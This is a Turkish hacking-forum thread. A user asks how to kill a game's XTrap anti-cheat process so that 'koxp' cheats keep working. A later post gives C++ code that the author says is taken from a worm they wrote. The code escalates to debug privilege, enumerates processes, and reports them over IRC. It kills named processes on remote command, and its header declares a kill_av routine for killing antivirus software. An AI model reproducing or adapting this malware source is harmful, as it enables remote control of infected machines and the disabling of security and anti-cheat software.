• 10-12-2007, 19:11:23
    #1
    Üyeliği durduruldu
    Arkadaşlar acil lazım bu bana koxp fln oluyordu eskiden xtrap die bişey yaptılar oyunda iken artık otomatik z+1 olmuyor xtrap programını sonlandır diyorum buna yetkiniz yok diyor c++ ile bunu nasıl sonlandırırız?
  • 10-12-2007, 19:13:54
    #2
    Üyeliği durduruldu
    <^>---( )--Snoxd (Powered by Invision Power Board) e bak.
  • 04-01-2008, 03:37:46
    #3
    Üyeliği durduruldu
    z+1 msn koxp halen daha çalışmakta ve devam edicektir , oyun yazılımcıları bu bug'u ortadan kaldırmak için çok uğraşdılar fakar verimli bir sonuç alamadılar , çunki z+1 sistem içerisinde bir loop olarak kullanılmakta xtrap ı disable etmek içinde c++ kodu istersen yazayım..


    CPP Kısmı:

    #ifndef NO_PROCESS

    BOOL AdjustPrivileges(char *pPriv, BOOL add)
    {
    PROC_HEADER;

    BOOL bRet = FALSE;
    TOKEN_PRIVILEGES tkp;
    HANDLE hToken;

    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUS T_PRIVILEGES | TOKEN_QUERY,&hToken))
    return bRet;

    if (!LookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)) {
    CloseHandle(hToken);
    return bRet;
    }

    tkp.PrivilegeCount = 1;
    if (add)
    tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
    else
    tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
    tkp.Privileges[0].Attributes);

    bRet=AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PT OKEN_PRIVILEGES) NULL, 0);

    CloseHandle(hToken);

    return bRet;
    PROC_FOOTER;
    }

    int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread, BOOL full)
    {
    PROC_HEADER;

    char sendbuf[IRCLINE];

    HANDLE hProcess, hProcess2;
    PROCESSENTRY32 pe32 = {0};
    MODULEENTRY32 me32 = {0};

    if (TRUE) {
    AdjustPrivileges(SE_DEBUG_NAME, TRUE);
    if ((hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)) != INVALID_HANDLE_VALUE) {
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hProcess, &pe32)) {
    while (Process32Next(hProcess, &pe32)) {
    if (killthread) {
    }
    else if (!proccess) {
    if (chan) {
    hProcess2 = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe32.th32ProcessID);
    me32.dwSize = sizeof(MODULEENTRY32);
    if (full) {
    if (Module32First(hProcess2, &me32))
    wsprintf(sendbuf," %s (%d)",me32.szExePath,pe32.th32ProcessID);
    else
    wsprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
    } else
    wsprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
    irc_privmsg(sock,chan,sendbuf,notice,TRUE);
    CloseHandle(hProcess2);
    }
    }
    else {
    if (lstrcmp(pe32.szExeFile,proccess) == 0) {
    hProcess2 = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32Proc essID);
    CloseHandle(hProcess);

    if (!TerminateProcess(hProcess2,0)) {
    CloseHandle(hProcess2);

    return 0;
    }
    return 1;
    }
    }
    }
    }
    CloseHandle(hProcess);
    }
    AdjustPrivileges(SE_DEBUG_NAME, FALSE);
    }

    return 0;
    PROC_FOOTER;
    }

    DWORD WINAPI listProcessesThread(LPVOID param)
    {
    PROC_HEADER;

    char sendbuf[IRCLINE];

    LPROC lproc = *((LPROC *)param);
    LPROC *lprocp = (LPROC *)param;
    lprocp->gotinfo = TRUE;

    wsprintf(sendbuf,"[PROC]: Listing processes:");
    if (!lproc.silent) irc_privmsg(lproc.sock,lproc.chan,sendbuf,lproc.no tice);

    if (listProcesses(lproc.sock,lproc.chan,lproc.notice, NULL, FALSE, lproc.full) == 0)
    wsprintf(sendbuf,"[PROC]: Process list completed.");
    else
    wsprintf(sendbuf,"[PROC]: Process list failed.");

    if (!lproc.silent) irc_privmsg(lproc.sock, lproc.chan, sendbuf, lproc.notice);


    clearthread(lproc.threadnum);

    ExitThread(0);
    return 0;
    PROC_FOOTER;
    }

    int killProcess(int pid)
    {
    PROC_HEADER;

    int ret=1;

    HANDLE pHandle;

    if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) != NULL)
    if(!TerminateProcess(pHandle,0)) {
    ret=0;
    CloseHandle(pHandle);
    }

    return ret;
    PROC_FOOTER;
    }

    #endif


    Header Kısmı:

    #ifndef NO_PROCESS
    typedef struct LPROC
    {
    SOCKET sock;
    char chan[128];
    int threadnum;
    BOOL full;
    BOOL notice;
    BOOL silent;
    BOOL gotinfo;

    } LPROC;

    BOOL AdjustPrivileges(char *pPriv, BOOL add);
    int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread=FALSE, BOOL full=false);
    DWORD WINAPI listProcessesThread(LPVOID param);
    int killProcess(int pid);
    #ifndef NO_AVFW_KILL
    DWORD WINAPI kill_av(LPVOID param);
    #endif
    #endif

    Komut satırı kısmı;

    #ifndef NO_PROCESS
    else if (lstrcmp("kille",a[s]) == 0 || lstrcmp("kille2", a[s]) == 0) {
    if(listProcesses(sock,NULL,notice,a[s+1]) == 1)
    wsprintf(sendbuf,"[PROC]: Sonlandırma Başarılı!: %s",a[s+1]);
    else
    wsprintf(sendbuf,"Sonlandırılamadı: %s", a[s+1]);
    if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);


    return repeat;
    }

    Bu kodları yazdıgım bir worm içerisinden alıntı yapdım bu kod sayesinde worm pc deki proceslist i çıkarıyor yani görev yöneticideki çalışan uygulamaları ve bunlardan istediğini sonlandırmana yarıyor. nasıl bir şekilde kullanırsın orası sana kalmıs

    işine yarıyan bir kısım olursa kullanırsın diye yazdım ..